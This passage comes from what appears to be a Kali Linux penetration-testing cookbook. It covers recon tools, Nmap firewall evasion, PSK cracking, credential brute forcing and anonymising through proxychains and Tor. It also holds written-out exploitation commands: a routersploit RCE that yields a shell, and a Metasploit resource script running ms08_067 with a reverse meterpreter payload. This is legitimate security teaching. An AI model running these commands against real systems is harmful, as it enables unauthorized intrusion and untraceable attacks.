During a pentest, we may encounter VPN endpoints. However, finding vulnerabilities in those endpoints and exploiting them is not a well-known method. VPN endpoints use the **Internet** **Key Exchange** ( **IKE** ) protocol to set up a security association between multiple clients to establish a VPN tunnel.

IKE has two phases. Phase 1 is responsible for setting up and establishing a secure authenticated communication channel. Phase 2 encrypts and transports data.

Our focus of interest here is Phase 1. It uses two methods of exchanging keys:

  * Main mode
  * Aggressive mode

We hunt for Aggressive-mode-enabled VPN endpoints using PSK authentication.

# Getting ready

For this recipe, we will use the `ike-scan` and `ikeprobe` tools. First, we install `ike-scan` by cloning the Git repository:

    **git clone https://github.com/royhills/ike-scan.git**

Or, you can use the following URL: <https://github.com/royhills/ike-scan>.

# How to do it...

  1. Browse to the directory where `ike-scan` is installed.
  2. Install `autoconf` by running the following command:

    **apt-get install autoconf**

  3. Run `autoreconf --install` to generate a `.configure` file.
  4. Run `./configure`.
  5. Run `make` to build the project.
  6. Run `make check` to verify the building stage.
  7. Run `make install` to install `ike-scan`.
  8. To scan a host for an Aggressive mode handshake, use the following command:

    **ike-scan x.x.x.x –M -A**

The following screenshot shows the output of the preceding command:

  9. Sometimes, we will see the response after providing a valid group name such as `vpn`:

    **ike-scan x.x.x.x –M –A id=vpn**

  10. To view the list of all available options, we can run the following command:

    **ike-scan -h**

The following screenshot shows the output of the preceding command:

We can even brute force the group names using the following link: <https://github.com/SpiderLabs/groupenum>.
Here is the command:
`./dt_group_enum.sh x.x.x.x groupnames.dic`

# Cracking the PSK

  1. Adding a `–P` flag in the `ike-scan` command will show a response with the captured hash.
  2. To save the hash, we provide a filename along with the `–P` flag.
  3. Next, we can use `psk-crack` with the following command:

    **psk-crack –b 5 /path/to/pskkey**

`-b` is brute force mode and length is `5`.

  4. To use a dictionary-based attack, we use the following command with `-d` flag to input the dictionary file:

    **psk-crack –d /path/to/dictionary /path/to/pskkey**

The following screenshot shows the output of the preceding command:

# There's more...

In Aggressive mode, the authentication hash is transmitted as a response to the packet of the VPN client that tries to establish a connection tunnel (IPSec). This hash is not encrypted and hence it allows us to capture the hash and perform a brute force attack against it to recover our PSK.

This is not possible in Main mode, as it uses an encrypted hash along with a 6-way handshake, whereas Aggressive mode uses only a 3-way handshake.

# Setting up proxychains

Sometimes, we need to remain untraceable while performing a pentest activity. Proxychains helps us by allowing us to use an intermediary system whose IP can be left in the logs of the system without the worry of it tracing back to us.

Proxychains is a tool that allows any application to follow the connection via proxy, such as SOCKS5 and Tor.

# How to do it...

Proxychains is already installed in Kali. However, we need a list of proxies in its configuration file that we want to use:

  1. To do that, we open the config file of proxychains in a text editor with this command:

    **leafpad /etc/proxychains.conf**

The following screenshot shows the output of the preceding command:

We can add all the proxies we want in the place highlighted in the previous screenshot and then save. Proxychains also allows us to use dynamic chain or random chain while connection to proxyservers.

  2. In the `config` file, uncomment `dynamic_chain` or `random_chain`. The following screenshot shows the output of the preceding command:

# Using proxychains with Tor

  1. To use proxychains with Tor, we first need to install Tor using the following command:

    **apt-get install tor**

  2. Once it is installed, we run Tor by typing `tor` in the Terminal.
  3. We then open another Terminal and type the following command to use an application via proxychains:

    **proxychains toolname –arguments**

The following screenshot shows the output of the preceding command:

Now let's have a look at the Routerhunter tool in the next recipe.

# Going on a hunt with Routerhunter

Routerhunter is a tool that's used to find vulnerable routers on a network and perform various attacks on it to exploit the DNSChanger vulnerability. This vulnerability allows an attacker to change the DNS server of the router, directing all the traffic to desired websites.

# Getting ready

For this recipe, you will again need to clone a Git repository.

We will use the following command:

    **git clone https://github.com/Exploit-install/Routerhunter-2.0.git**

# How to do it...

  1. Once the file is cloned, enter the directory.
  2. Run the following command:

    **python routerhunter.py -h**

The following screenshot shows the output of the preceding command:

We can provide Routerhunter an IP range, DNS server IPs, and so on.

# Gathering Intel and Planning Attack Strategies

In the previous chapter, we learned about the basics of hunting subdomains. In this chapter, we will dive a little deeper and look at other tools that are available for gathering Intel on our target. We will start by using the infamous tools of Kali Linux.

Gathering information is a crucial stage of performing a penetration test, as every step we take after this will be an outcome of all the information we gather during this stage. For this reason, it is very important that we gather as much information as possible before jumping into the exploitation stage.

In this chapter, we will cover the following recipes:

  * Getting a list of subdomains
  * Using Shodan for fun and profit
  * Shodan Honeyscore
  * Shodan plugins
  * Censys
  * Using Nmap to find open ports
  * Bypassing firewalls with Nmap
  * Searching for open directories using GoBuster
  * Hunting for SSL flaws
  * Automating brute force using Brutespray

  * Digging deep with TheHarvester
  * Finding technology behind webapps using WhatWeb
  * Scanning IPs with masscan
  * Finding origin servers with CloudBunny
  * Sniffing around with Kismet
  * Testing routers with Firewalk

# Getting a list of subdomains

When performing a black-box test, the client may not give us all of the subdomains of their organization. In this recipe, we will cover one of the few techniques that can be used to get a list of the subdomains of an organization.

# How to do it...

**DNSdumpster** : It is a free project by HackerTarget that lets us look up subdomains. It relies on https://scans.io/ for its results. It is pretty simple to use.

  1. We type the domain name we want and it will show us the results of all the subdomains it could find:

In the following screenshot, we can see the subdomains of the domain `packtpub.com`:

In the following recipe, we will look at Shodan, which is the most useful source for knowing about what devices are in a network.

# Using Shodan for fun and profit

**Shodan** is the world's first search engine that was used to search for devices that are connected on the internet. It was launched in 2009 by _John Matherly_. Shodan can be used to look up webcams, databases, industrial systems, video games, and so on. Shodan mostly collects data on the most popular web services that are running, such as HTTP, HTTPS, MongoDB, FTP, and many more.

# Getting ready

To use Shodan, we will need to create an account on Shodan.

# How to do it...

  1. Open your browser and visit <https://www.shodan.io>. You will see the following home page:

  2. We will begin by performing a simple search for the FTP services that are running. To do this, use the following Shodan command:

    **port:"21"**

The following screenshot shows the output of the preceding command:

  3. This search can be made more specific by specifying a particular country or organization, as follows:

    **port:21 country:"IN"**

The following screenshot shows the output of the preceding command:

  4. We can now see all the FTP servers running in India. We can also see which servers allow anonymous login and the version of FTP server they are running.
  5. Next, we will try the organization filter. This can be done by typing in the following:

    **port:21 country:"IN" org:"BSNL"**

The following screenshot shows the output of the preceding command:

Shodan also has other tags, which can be used to perform advanced searches, such as the following:
**Net** : To scan IP ranges
**City** : To filter by city
More details can be found at `https://www.shodan.io/explore`.

# Shodan Honeyscore

Shodan Honeyscore is another great project that was built in Python. It helps us figure out whether an IP address we have found is a honeypot or a real system.

# How to do it...

  1. To use Shodan Honeyscore, visit https://honeyscore.shodan.io/, as shown:

  2. Then, enter the IP address you want to check, which in this case is `8.8.8.8`:

That's it! Now, let's look at the plugins for Shodan.

# Shodan plugins

To make our life even easier, Shodan has plugins for Chrome and Firefox that can be used to check open ports for websites we visit on the go!

# How to do it...

  1. Download and install the plugin from https://www.shodan.io/.
  2. Browse to any website. You will find that by clicking on the plugin, you can see the open ports:

In the following recipe, we will discover, monitor, and analyze devices with Censys.

# Censys

Censys was created in 2017 by the developers of ZMAP. It helps users to discover, monitor, and analyze publicly available devices. Censys regularly explores every IP and popular domain names using ZMAP scans and collects this data to make it available through APIs or web interfaces. In this recipe, we will look at some of the ways to use Censys for recon.

# How to do it...

  1. Visit <https://censys.io/> in your browser, as shown in the following screenshot:

  2. We must be a logged-in user to perform detailed searches, which we will cover later in this recipe.

  3. If we want to look for a particular IP, we can simply paste the IP in the search bar. As we can see in the following screenshot, it will give us basic information about the IPv4 host, such as the protocols being used and the version of SSL:

  4. We can also view the IPWHOIS by clicking on the WHOIS tab:

  5. Let's try and search for a subnet: it's easy, we can simply type the subnet in the search bar and press Go.

  6. In the following screenshot, we can see that by doing this, we can see all of the hosts in the subnet, along with details of their location, open ports, owner, and so on:

  7. Censys also supports `and`/`or` operators. For example, if we want to search for two different subnets using an `or` operator, we can do this as follows:

  8. But what if we want to search for public servers that either have the word `Dell` or `Amazon` within the `23.0.0.0/8` subnet? This is useful when we are trying to do a recon about an organization that has lots of publicly accessible assets. This can be done by using the following search term:

# See also

  * List of complete data definitions which Censys supports: <https://censys.io/ipv4/help/definitions>
  * Censys Forum discussion: <https://groups.google.com/a/censys.io/forum/#!forum/discussion>

# Using Nmap to find open ports

**Nmap** or **Network Mapper** is a security scanner that was written by _Gordon Lyon_ in September 1997. It is used to find hosts and services in a network. Nmap has various features and scripts that are designed to perform various tests, such as finding the OS, service version, and brute-force default logins.

The following are some of the most common types of scan:

  * TCP `connect()` scan
  * SYN stealth scan
  * UDP scan
  * Ping scan
  * Idle scan

# How to do it...

Let's perform the following steps:

  1. Nmap is already installed in Kali Linux. We can type the following command to start it and see all the options that are available:

        **nmap -h**

The following screenshot shows the output of the preceding command:

  2. To perform a basic scan, we can use the following command:

    **nmap -sV -Pn x.x.x.x**

The following screenshot shows the output of the preceding command:

Here, `-Pn` implies that we do not check whether the host is up or not by performing a ping request first; `-sV` is used to list all the running services on the open ports that we found.

  3. Another flag we can use is `-A`. This automatically performs OS detection, version detection, script scanning, and traceroute. The command is as follows:

    **nmap -A -Pn x.x.x.x**

  4. To scan an IP range or multiple IPs, we can use the following command:

    **nmap -A -Pn x.x.x.0/24**

# Using scripts

NSE, or the Nmap scripting engine, allows users to create their own scripts to perform different tasks automatically. These scripts are executed side by side when a scan is run. They can be used to perform more effective version detection, view the exploitation of a vulnerability, and so on.

The command for using a script is as follows:

    **nmap -sV  host.com -script dns-brute**

This command can be seen in the following screenshot:

The following screenshot shows the output for the preceding command:

Here, the `dns-brute` script tries to fetch the available subdomains by brute forcing it against a set of common subdomain names.

# See also

  * The _Using Shodan for fun and profit_ recipe in this chapter
  * More information on the scripts that were covered in this recipe can be found in the official NSE documentation at: https://nmap.org/nsedoc/

# Bypassing firewalls with Nmap

Most of the time, during a pentest, we will come across systems that are protected by firewalls or **intrusion detection systems** ( **IDS** ). Nmap provides different ways of bypassing these IDS firewalls to perform a port scan on a network.

In this recipe, we will learn about some of the ways of bypassing firewalls.

# How to do it...

Let's learn how to use the ACK, TCP Window, and Idle scans.

# TCP ACK scan (-sA)

The ACK scan is used to show unfiltered and filtered ports instead of open and closed ports:

  1. The command for an ACK scan is as follows:

    **nmap -sA x.x.x.x**

The following is a screenshot of an Nmap scan without the `-sA` flag:

Here, we can see the difference between a normal scan and an ACK scan:

# TCP Window scan (-sW)

A Window scan is almost the same as an ACK scan, except that it shows open and closed ports:

  1. Use the following command to run the ACK scan:

    **nmap -sW x.x.x.x**

The following is a screenshot of an Nmap scan without the `-sW` flag:

The difference between the two commands can be seen in the following screenshot:

# Idle scan

Idle scanning is an advanced technique where packets that are sent to the target can't be traced back to the attacker machine. It requires a zombie host to be specified.

The command to perform an idle scan is as follows:

    **nmap -sI zombiehost.com domain.com**

# How it works...

The ACK scan sends an acknowledgment packet instead of a SYN packet. The firewall does not create logs of ACK packets as it will treat ACK packets as the response of the SYN packets. It is mostly used to map the type of firewall being used.

The scan results of filtered and unfiltered ports depend on whether the firewall being used is stateful or stateless. A stateful firewall checks whether an incoming ACK packet is part of an existing connection or not. It blocks it if the packets are not part of any requested connection, and so the port will show up as filtered during the scan, whereas in the case of a stateless firewall, it will not block the ACK packets and the ports will show up as unfiltered.

An idle scan works on the basis of a predictable IPID or IP Fragmentation ID of the zombie host. First, the IPID of the zombie host is checked and then a connection request is spoofed from that host to the target host. If the port is open, an acknowledgment is sent back to the zombie host, which **resets** ( **RST** ) the connection so that it has no history of opening such a connection.

Next, the attacker checks the IPID on the zombie host again. If it has changed by one step, it implies that a RST was received from the target. However, if the IPID has changed by two steps, it means that the packet was received by the zombie host from the target host, and there was an RST on the zombie host, which implies that the port is open.

# Searching for open directories using GoBuster

In the previous recipe, we discussed how to find open ports on a network IP or domain name. Once we have open ports, we often see ports running web servers on different ports. Sometimes, developers leave open directories misconfigured, which may contain juicy information for us. Here, we will look at the GoBuster. It is a tool that was built in the Go language, which can be used for brute forcing directories as well as brute forcing subdomains.

# How to do it...

Since GoBuster is built on Go, we first need to install Go on Kali:

  1. Do this by using the following command:

    **apt install golang**

  2. First, we clone the Git repository from the following URL: <https://github.com/OJ/gobuster>. You will see the following output:

  3. Now, browse into the directory and pull the external dependencies before building the binary using the following command:

    **go get -u github.com/OJ/gobuster && go build**

The following screenshot shows the output of the preceding command:

As we can see from the preceding screenshot, the `build` command completed successfully without any error.

  4. Now, run the `help` command and see what options are available for us to use:

Gobuster has lots of features such as brute forcing directories that are behind HTTP authentication, setting a custom user-agent, and so on. Let's try it.

By default, Gobuster needs a wordlist. We can use the `-w` flag to specify a list and `-x` to specify the extension of the file we are trying to brute force:

    **./gobuster -x php -u "http://testphp.vulnweb.com/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt**

The following screenshot shows the output of the preceding command:

As we can see in the preceding screenshot, the tool successfully starts brute forcing and returns the page responses for everything it finds.

# Hunting for SSL flaws

Most web applications today use SSL to communicate with the server. SSLscan is a great tool to check SSL for flaws or misconfigurations.

In this recipe, we will learn how to use SSLScan to perform an analysis of SSL configured on the website.

# How to do it...

Let's perform the following steps:

  1. We will look at the `help` manual to see the various options the tool has:

    **sslscan -h**

The following screenshot shows the output of the preceding command:

  2. To run the tool against a host, we type the following:

    **sslscan host.com:port**

The following screenshot shows the output of the preceding command and we can see various types of information on the SSL protocol implemented on `google.com`:

As we can see from the above screenshot the tool has shown the protocol being used and how it has been covered. If a vulnerability exists on a domain, the tool will list it in the output as well.

# See also

  * A tale of a bleeding heart from Chapter 5, _Network Exploitation_
  * TLSSLed is also an alternative that we can use in Kali to perform checks on SSL: <https://tools.kali.org/information-gathering/tlssled>

# Automating brute force with BruteSpray

BruteSpray is another open source tool which is built on Python. It takes the input from an Nmap scan and automatically brute forces the services running with default credentials using Medusa.

# How to do it...

Let's perform the following steps:

  1. Run the following command to install `brutespray` on Kali:

    **apt install brutespray**

The following screenshot shows the output of the preceding command:

  2. Once it is installed, we can run the tool with the `-h` flag to view the list of all features.
  3. To run a default brute force on all of the services that were discovered by a previously run Nmap scan, we can use the following command:

    **brutespray --file scan.xml --threads 5**

The following screenshot shows the output of the preceding command:

  4. To run the tool on one particular service, we can use the `-s` flag and define the service we want to perform a brute force attack on. In the following example, we will use the Nmap scan that was done on a host and only check the default credentials on the FTP service:

    **brutespray -file scan.xml -t 5 -s ftp**

The following screenshot shows the output of the preceding command:

In the preceding screenshot, we can see that the FTP allows anonymous login, which is why the tool gave a success output for the credentials that were shown.

# Digging deep with TheHarvester

**TheHarvester** is a great tool for penetration testing as it helps us find a lot of information about a company. It can be used to find email accounts, subdomains, and so on. In this recipe, we will learn how to use it to discover data.

# How to do it...

  1. The command to the TheHarvester is pretty simple:

    **theharvester -d domain_name -l 20 -b all**

We can see in the following screenshot that the tool has launched and it will give us the results of anything it will find once finished:

# How it works...

In the preceding recipe, `-d` is for the domain name or the keyword we want to search, `-l` is for limiting the number of search results, and `-b` is the source we want the tool to use while gathering information. The tool supports Google, Google CSE, Bing, Bing API, PGP, LinkedIn, Google-profiles, people123, jigsaw, Twitter, and Google+ sources.

# Finding technology behind webapps using WhatWeb

There is no point starting a pentest against a web application without knowing what the actual technology is behind it. For example, it would be absolutely useless to run `dirs3arch` to look for files with the extension PHP when the technology is actually Asp. So, in this recipe, we will learn how to use a simple tool, **WhatWeb** , to reveal the technology behind a webapp. It comes by default in Kali.

It can also be installed manually from the following URL: https://github.com/urbanadventurer/WhatWeb.

# How to do it...

  1. The WhatWeb tool can be launched by using the following command:

    **whatweb**

The following screenshot shows the output of the preceding command:

  2. The domain name can be given as a parameter, or multiple domain names can be entered by using the `-input-file` argument:

    **whatweb hostname.com**

An example of the preceding command can be seen in the following screenshot:

Running the preceding mentioned command will give us the output showing what all technologies is being used by google.com

In the following recipe, we will learn how to use the masscan tool.

# Scanning IPs with masscan

**Masscan** is an amazing tool. It is the fastest port scan tool available, and it has been claimed that it can scan the entire internet when it transmits at the speed of 10 million packets per second.

It is similar to Nmap, but it does not support and default to the port scan – all ports must be specified using `-p`.

In this recipe, we will learn about the usage of Masscan.

# How to do it...

  1. Masscan is simple to use. We can begin a scan of a network by using the following command:

    **masscan 192.168.1.0/24 -p 80,443,23**

We can also specify the packet rate by using `-max-rate`. By default, the rate is 100 packets per second.

# Finding origin servers with CloudBunny

CloudBunny is a tool that uses search engines such as Censys, Shodan, and Zoomeye to find the origin IP of the server. It is typically used when a company only uses a **Web Application Firewall** ( **WAF** ) for its main domain and leaves the subdomains unprotected. CloudBunny uses the same concept to find origin IPs of the domains. In this recipe, we will look at the usage of CloudBunny to find misconfigured Cloudflare domains.

# How to do it...

  1. Download/clone the repository from GitHub: <https://github.com/Warflop/CloudBunny>:

  2. Next, install the Python dependencies by using the `pip install -r requirements.txt` command.
  3. Since the tool is dependent on Shodan, Censys, and Zoomeye, we need to provide the API keys in `api.conf`:

  4. Now that everything is set, we can run the tool with the `-h` flag to see all of its features:

  5. As an example, we will run the tool to find the IP address of a domain using only Shodan. The command for the same is mentioned in the following code block:

    **python cloudbunny.py -u domain.com -s**

The following screenshot shows the output of the preceding command:

From the preceding screenshot, we can see that we have gathered one IP address for the `packtpub.com` domain.

# Sniffing around with Kismet

Kismet is a layer two wireless network detector. It comes in handy because while performing a pentest in a corporate environment, we may need to look for wireless networks as well. Kismet can sniff `802.11a/b/g/n` traffic. It works with any wireless card that supports raw monitoring mode.

In this recipe, we will learn how to use Kismet to monitor Wi-Fi networks.

# How to do it...

  1. Use the following command to launch Kismet:

    **kismet**

The following screenshot shows the output of the preceding command:

  2. Once the GUI is up, it will ask us to start the server. Choose `Yes`.
  3. Next, we need to specify a source interface. In our case, it is `wlan0`, so we type that in. Make sure that the interface is in monitor mode before initializing it in Kismet, as shown in the following screenshot:

Now, we will see a list of all of the wireless networks around us:

  4. By default, Kismet listens on all channels. We can specify a particular channel by selecting the entry Config Channel... from the Kismet menu:

  5. We can choose the channel number here:

  6. Kismet also allows us to see the signal-to-noise ratio. We can see that by selecting Channel Details... in the Windows menu:

  7. This signal-to-noise ratio is very helpful during the times of wardriving:

Signal-to-noise ratio attempts to show the signal compared to the noise.

# See also

  * For a quickstart guide, visit the following link: <https://www.kismetwireless.net/docs/readme/quickstart/>

# Testing routers with Firewalk

**Firewalk** is a network security reconnaissance tool that helps us figure out whether our routers are actually doing the job they are supposed to do. Firewalk attempts to find which protocols a router or firewall will allow and which it will block.

This tool is incredibly useful during pentesting, and can help you verify and validate firewall policies in a corporate environment. In this recipe, we will learn about using Firewalk.

# How to do it...

  1. If `firewalk` is not installed, we can install it by typing the following:

    **apt install firewalk**

The following screenshot shows the output of the preceding command:

  2. We can use the following command to run `firewalk`:

    **firewalk -S 1-23 -i eth0 192.168.1.1 192.168.10.1**

The following screenshot shows the output of the preceding command:

# How it works...

In the preceding command, `-i` is for specifying the network interface, `-S` is for specifying the port numbers we want to test, and the next two IP addresses shown in the preceding screenshot are the router's IP address and the host's IP address, which we want to check against our router.

Nmap also includes a script to perform a Firewalk. More information can be found at <https://nmap.org/nsedoc/>.

# Vulnerability Assessment - Poking for Holes

In the previous chapters, we learned about various recipes so that we can collect information about our target. Now, we need to start hunting for vulnerabilities. To become a good pentester, we need to make sure that no small detail is overlooked. In this chapter, we will look at various tools that can be used to find and exploit different types of vulnerabilities with Burp Suite. We will also look at the usage of Metasploit and Cobalt Strike for advanced exploitation.

In this chapter, we will cover the following recipes:

  * Using the infamous Burp
  * Exploiting WSDLs with Wsdler
  * Using intruder
  * Using golismero
  * Exploring searchsploit
  * Exploiting routers with routersploit
  * Using Metasploit
  * Automating Metasploit
  * Writing a custom resource script
  * Setting up a database in Metasploit
  * Generating payloads with MSFPC
  * Emulating threats with Cobalt Strike

# Using the infamous Burp

**Burp** has been around for years now; it is a collection of multiple tools that were built into Java by PortSwigger web security. It has various products, such as a decoder, proxy, scanner, intruder, and repeater. Burp features an extender that allows a user to load different extensions, which can be used to make pentesting even more efficient. We will learn about some of them in the following recipes.

# How to do it...

Let's perform the following steps:

  1. Kali already has a free version of Burp, but we need a full version to fully use its features. Let's open up Burp:

  2. Click on Start Burp and Burp will load up, as shown in the following screenshot:

  3. Before we start hunting for bugs, let's install some extensions that may come in handy. Select BApp Store from the Extender menu:

  4. We will see a list of extensions. Here are some of the extensions we have to install:
    * J2EEScan
    * Wsdler
    * Java **Deserialization Scanner** ( **DS** )
    * Heartbleed

  5. Click Install after selecting each of these extensions.
  6. Let's prepare ourselves for scanning. Fire up a browser and go to its preferences.
  7. Go to the Network settings:

  8. Add the proxy IP and port:

  9. Verify the IP and port with Burp's proxy options:

  10. Click Intercept is on to start intercepting the requests:

  11. Let's browse the website we need to scan:
    * Once all requests are captured, go to Target and select the domain.
    * To perform a scan, select individual requests and send them for an active scan:

  10.     * We can select the whole domain to send for an active scan:

  12. Go to the Scanner tab and choose Options. Here, we can tell the scanner exactly what we want it to look for in our application:

  13. We can see the results of our scan in the Scan queue tab:

  14. Clicking on any of the requests will show us details about the vulnerabilities that were found on that URL:

While we are using only a few extensions here, you can view the whole list and choose your own extensions too. Extensions are easy to set up.

# Exploiting WSDLs with Wsdler

**Web Services Description Language** ( **WSDL** ) is an XML-based language that's used to describe the functionality offered by web services. Often, while doing a pentest project, we may find a WSDL file out in the open, unauthenticated. In the following recipe, we will see how we can take advantage of WSDL.

# How to do it...

We have to intercept the request of WSDL in Burp. Follow these steps to do so:

  1. Right-click the request and select Parse WSDL:

  2. Switch to the Wsdler tab and you will see all the service calls. We can review the complete request by clicking on it:

  3. To be able to play around with it, we need to send it to the repeater:

  4. Right-click and select Send to Repeater:

  5. Putting a single quote in `tem:json` throws an error. And voila! We have an SQL Injection:

  6. The following screenshot shows the response of the server with the SQL error:

  7. We will learn more about exploiting SQL in Chapter 4, _Web App Exploitation – Beyond OWASP Top 10_.

# Using Intruder

**Intruder** is a great tool that allows us to perform different types of attacks that can be used to find all kinds of vulnerabilities. Here are some of the most common attacks that can be done with Intruder:

  * Brute-force
  * Fuzzing
  * Enumeration
  * Application-layer DoS

# How to do it...

We start off by picking up a request from our captured requests:

  1. Right-click the request and select Send to Intruder:

  2. Switch to the Intruder tab and then specify a payload position. Select the place we want our payload to be at and then click the Add button:

  3. Since we are performing a brute-force login, we will use the Pitchfork attack type:

  4. Switch to the Payloads tab; this is where we will enter our payloads.
  5. Choose the payload set 1; as we are brute-forcing, we can choose a simple list as the payload type:

  6. In the Payload Options, specify the list of words we want the app to be tested against. We can either enter them manually or choose a prebuilt list:

  7. Choose set 2 and specify a list of passwords that we want the tool to try.
  8. Burp allows us to customize the attack with the option to configure multiple things, such as the number of threads, choose redirect options, and even group match, in the Options tab:

  9. Click Start attack.
  10. A new window will pop up that shows the results of the attack that was performed:

Here, we only used one type of attack mode (Pitchfork). You can learn more about different types of Intruder attacks at <https://nitstorm.github.io/blog/burp-suite-intruder-attack-types/>.

# Using golismero

Golismero is an open source framework built in Python that can be used for security testing. It has no native libraries and it combines the output of tools such as sqlmap, xsser, openvas, dnsrecon, and theharvester shodan to generate the final results.

Golismero is included in Kali, but in case it gets removed in the later version, it can be downloaded from <https://github.com/golismero/golismero>.

The README section already has the installation instructions for golismero.

# How to do it...

Let's perform the following steps:

  1. Run the tool and view the help option by typing `golismero -h`:

  2. To run a default scan, use the following command:

    **golismero scan http://domainname.com -o /path/to/report/html**

The `-o` flag allows us to export the report in HTML format once the scan is done.

This scan takes a lot of time as it will run all the plugins that are available in the module.

  3. Set up `shodan` with `golismero` by writing the API key in the `config` file using the following command:

    **$mkdir ~/.golismero**
     **$nano ~/.golismero/user.conf**
     **[shodan:Configuration]**
     **apikey = <INSERT YOUR SHODAN API KEY HERE>
    **

The following screenshot shows the output of the preceding command:

  4. We can run specific modules against a host or import an nmap scan into the tool for scanning using the `-e` flag. To list all plugins, use the following command:

    **golismero plugins**

The following screenshot shows the output of the preceding command:

  5. Once the scan is complete, a detailed report will be generated, which shows information such as CVE and criticality:

Golismero also allows us to create and integrate our own plugins into the scanner as per our needs.

# See also

  * **Golismero** : <https://github.com/golismero/golismero>

  * **Download Golismero** : <http://www.golismero.com/>

# Exploring Searchsploit

Searchsploit is a command-line tool that allows us to search and browse all the exploits that are available at the exploit database.

# How to do it...

Let's perform the following steps:

  1. To view help, type the following command:

    **searchsploit -h
    **

The following screenshot shows the output of the preceding command:

  2. We can perform a search by entering any keyword:

  3. If you want to copy the exploit into your working directory, use the following command:

    **searchsploit -m exploitdb-id**

In the next recipe, we will look at routersploit.

# Exploiting routers with routersploit

**Routersploit** is a router-exploitation framework that is designed especially for embedded devices. It consists of three main modules:

  * **Exploits** : Contains a list of all the publicly available exploits
  * **Creds** : Tests logins for different devices
  * **Scanners** : Checks a particular exploit against a particular device

# Getting ready

Before we begin, we will have to install routersploit in Kali, which is very simple.

# How to do it...

Let's perform the following steps:

  1. Use the following command to clone the Git repository:

    **git clone https://github.com/reverse-shell/routersploit**

Once we run the preceding command, we get the following output:

  2. We then run the following command to install the requirements:

    **python3 -m pip install -r requirements.txt**

Now, we can run the routersploit using the following command:

    **python3 rsf.py**

  3. To scan a router, use the following command:

    **Use scanners/routers/router_scan**

  4. Check for other `options` using the following command:

  5. To run a scan against a target, set the target and replace `x.x.x.x` with the IP of the router:

    **set** **target x.x.x.x**

The following screenshot shows the output of the preceding command:

  6. We type `run` and the tool will show all the exploits that the router is vulnerable to:

  7. In our case, it is vulnerable to `eseries_themoon_rce`, so let's try and run the exploit against our router. Type in the following:

    **use exploits/routers/linksys/eseries_themoon_rce**

  8. To view what all inputs the router accepts, we can use the following command:

    **show options**

  9. We set the target using the following command:

    **set target 192.168.1.1**

  10. Run the exploit. We will see that the exploit has completed successfully and that we have access to the command shell:

# Using Metasploit

Metasploit is the most popular open source tool for pentesting. It was first developed by HD Moore in 2001 in Perl. Later, it was completely rewritten in Ruby, and then it was acquired by Rapid7.

Metasploit contains collections of exploits, payloads, and encoders that can be used to identify and exploit vulnerabilities during a pentest project. We will cover a few recipes that will enable us to use the **Metasploit Framework** ( **msf** ) more efficiently.

# How to do it...

  1. Start the MSF by typing the following command:

    **msfconsole
    **

The following screenshot shows the output of the preceding command:

  2. To search for an exploit, type the following:

    **search exploit_name**

The following screenshot shows the output of the preceding command:

  3. To use an exploit, type the following:

    **use exploits/path/to/exploit**

The following screenshot shows the output of the preceding command:

  4. We can view the options by typing the following command:

    **show options**

  5. Set the payload, target IP, and localhost, and the port where we want the reverse connection.
  6. Set the target using the following command:

    **set RHOST x.x.x.x**

  7. Set the `payload` using the following command:

    **Set payload windows/meterpreter/reverse_tcp**

  8. Set the `lhost` and `lport` where we want the connection:

    **Set lhost x.x.x.x**
    **Set lport 4444**

  9. Run the exploit using the following command:

    **exploit**

  10. Once it's been successfully exploited, we will see a meterpreter:

Although we only used Windows' `reverse_tcp` here, Metasploit has lots of other payloads, depending the backend OS or web application that's used. A complete list of payloads can be found at https://www.offensive-security.com/metasploit-unleashed/msfpayload/.

# Automating Metasploit

**Metasploit** supports automations in different ways, one of which is resource scripts.

A resource script is basically a set of commands that run automatically when a script is loaded. Metasploit already contains a set of prebuilt scripts that are useful in corporate pentesting environments. The complete list of scripts that's available can be seen in the following directory:

        **/usr/share/metasploit-framework/scripts/resource# ls**

The following screenshot shows the output of the preceding command:

# How to do it...

  1. Start Metasploit using the following command:

    **msfconsole**

The following screenshot shows the output of the preceding command:

  2. Some scripts require `RHOSTS` to be set globally, so we `set RHOST` using the following command:

    **set RHOSTS 172.18.0.0/24**

The following screenshot shows the output of the preceding command:

  3. Run the script using the following command:

    **resource /usr/share/metasploit-framework/scripts/resource/basic_discovery.rc**

The following screenshot shows the output of the preceding command:

This script will do a basic host-discovery scan on the subnet provided.

# Writing a custom resource script

In the following recipe, we will see how we can write a basic script.

# How to do it...

  1. Open up any editor, such as Nano or Leafpad.
  2. Type all the commands that you want `msf` to execute:

    **use exploit/windows/smb/ms08_067_netapi**
    **set payload windows/meterpreter/reverse_tcp**
    **set RHOST 192.168.15.15**
    **set LHOST 192.168.15.20**
    **set LPORT 4444**
    **exploit -j**

  3. Save the script with a `.rc` extension.
  4. Start `msfconsole` and type the following command to automatically exploit the machine:

    **resource /path/to/demoscript.rc**

# See also

  * Resource Scripts is just one way of automating Metasploit; we can learn about other ways to automate Metasploit from the following article: https://community.rapid7.com/community/metasploit/blog/2011/12/08/six-ways-to-automate-metasploit.

# Setting up a database in Metasploit

In Kali Linux, we have to set up a database before we can use the database functionality.

# How to do it...

Let's perform the following steps:

  1. Start the `postgresql` server using the following command:

    **service postgresql start**

  2. Create the database and initialize it:

    **msfdb** **init**

  3. Load the msfconsole. Now, we can create and manage workspaces in Metasploit. A workspace is a place where we can save all our Metasploit data in categories. To set up a new workspace, use the following command:

    **workspace -a <workspacename>**

The following screenshot shows the output of the preceding command:

  4. To see all the commands related to the workspace, use the following command:

    **workspace -h**

  5. We can use various commands to interact with the DB. To import an existing nmap scan into our database, use the following command:

    **db_import path/to/nmapfile.xml**

The following screenshot shows the output of the preceding command:

  6. View the hosts using the following command:

    **Hosts**

The following screenshot shows the output of the preceding command:

  7. To only view the IP address and OS type, use the following command:

    **hosts -c address,os_flavor**

The following screenshot shows the output of the preceding command:

  8. If we want to perform a TCP auxiliary scan, we can set all these hosts as `rhost` for an auxiliary. Use the following command:

    **hosts -c address,os_flavor -R**

The following screenshot shows the output of the preceding command:

  9. Now that `rhosts` has been set, it can be used across Metasploit for any module that's required. Let's look at one more example where our imported nmap scan already has all the data we need. We can use the following command to list all the services in the database:

    **services**

  10. To see only the services that are up, use the `-u` switch:

  11. We can see the list of services by a specific port by using the `-p` switch:

# Generating payloads with MSFPC

For the past few years, we have been using tools such as the Metasploit Framework, routersploit, `LinuxEnum.sh`, and nmap for post-exploitation and scanning. With the growing popularity of new tools, it would be good to learn about some tools that can be used for post-exploitation. Out of the many available tools, we will be looking at **MSFvenom Payload Creator** ( **MSFPC** )—a simple MSF-based payload generator in this recipe.

